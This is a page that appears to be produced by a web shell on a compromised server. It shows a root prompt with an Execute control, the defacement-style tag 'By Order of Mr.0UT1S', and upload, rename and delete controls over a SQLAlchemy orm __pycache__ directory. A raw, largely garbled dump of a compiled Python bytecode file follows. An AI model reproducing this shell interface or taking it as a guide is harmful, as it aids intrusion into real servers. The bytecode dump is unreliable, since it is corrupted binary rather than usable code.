opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
sqlalchemy
/
orm
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-312.pyc
6.17 KB
Rename
Delete
_orm_constructors.cpython-312.pyc
102.92 KB
Rename
Delete
_typing.cpython-312.pyc
6.63 KB
Rename
Delete
attributes.cpython-312.pyc
97.49 KB
Rename
Delete
base.cpython-312.pyc
29.62 KB
Rename
Delete
bulk_persistence.cpython-312.pyc
62.89 KB
Rename
Delete
clsregistry.cpython-312.pyc
23.20 KB
Rename
Delete
collections.cpython-312.pyc
60.26 KB
Rename
Delete
context.cpython-312.pyc
100.73 KB
Rename
Delete
decl_api.cpython-312.pyc
65.77 KB
Rename
Delete
decl_base.cpython-312.pyc
67.21 KB
Rename
Delete
dependency.cpython-312.pyc
42.09 KB
Rename
Delete
descriptor_props.cpython-312.pyc
47.72 KB
Rename
Delete
dynamic.cpython-312.pyc
12.62 KB
Rename
Delete
evaluator.cpython-312.pyc
16.33 KB
Rename
Delete
events.cpython-312.pyc
133.89 KB
Rename
Delete
exc.cpython-312.pyc
9.60 KB
Rename
Delete
identity.cpython-312.pyc
12.30 KB
Rename
Delete
instrumentation.cpython-312.pyc
30.45 KB
Rename
Delete
interfaces.cpython-312.pyc
52.97 KB
Rename
Delete
loading.cpython-312.pyc
45.74 KB
Rename
Delete
mapped_collection.cpython-312.pyc
21.35 KB
Rename
Delete
mapper.cpython-312.pyc
164.73 KB
Rename
Delete
path_registry.cpython-312.pyc
30.74 KB
Rename
Delete
persistence.cpython-312.pyc
47.09 KB
Rename
Delete
properties.cpython-312.pyc
31.98 KB
Rename
Delete
query.cpython-312.pyc
125.64 KB
Rename
Delete
relationships.cpython-312.pyc
127.34 KB
Rename
Delete
scoping.cpython-312.pyc
81.62 KB
Rename
Delete
session.cpython-312.pyc
198.53 KB
Rename
Delete
state.cpython-312.pyc
44.03 KB
Rename
Delete
state_changes.cpython-312.pyc
6.84 KB
Rename
Delete
strategies.cpython-312.pyc
102.61 KB
Rename
Delete
strategy_options.cpython-312.pyc
84.69 KB
Rename
Delete
sync.cpython-312.pyc
6.40 KB
Rename
Delete
unitofwork.cpython-312.pyc
33.21 KB
Rename
Delete
util.cpython-312.pyc
82.97 KB
Rename
Delete
writeonly.cpython-312.pyc
28.11 KB
Rename
Delete
� #��g�i � �� � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ dd l m Z dd l mZ ddl m Z dd l mZ ddl m Z ddl mZ er$ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ d� Z G d� d� Z G d� d� Z G d� de� Z G d� d� Z G d� dee � Z! G d � d!e � Z" G d"� d#e � Z# G d$� d%e � Z$ G d&� d'e � Z% G d(� d)e � Z& G d*� d+e � Z'y,)-z�The internals for the unit of work system. The session's flush() process passes objects to a contextual object here, which assembles flush tasks based on mappers and their properties, organizes them in order of dependency, and executes. � )�annotations)�Any)�Dict)�Optional)�Set)� TYPE_CHECKING� �� attributes)�exc)�util� )�event)�topological)�DependencyProcessor)�MapperProperty)�Mapper)�Session)�SessionTransaction)� InstanceStatec � �� |j ��fd�}�fd�}�fd�}t j | d|dd�� t j | d|ddd�� t j | d |ddd�� t j | d |ddd�� y)z\Establish event listeners on object attributes which handle cascade-on-set/append. c �b �� |�y | j }|r�|j r|j d� | j j j � }t j |� }|j j r1�|j k( r"|j |� s|j |� |S )Nzcollection append) �session�_warn_on_events�_flush_warning�manager�mapper�_propsr �instance_state�_cascade�save_update�key�_contains_state�_save_or_update_state��state�item� initiator�kw�sess�prop� item_stater"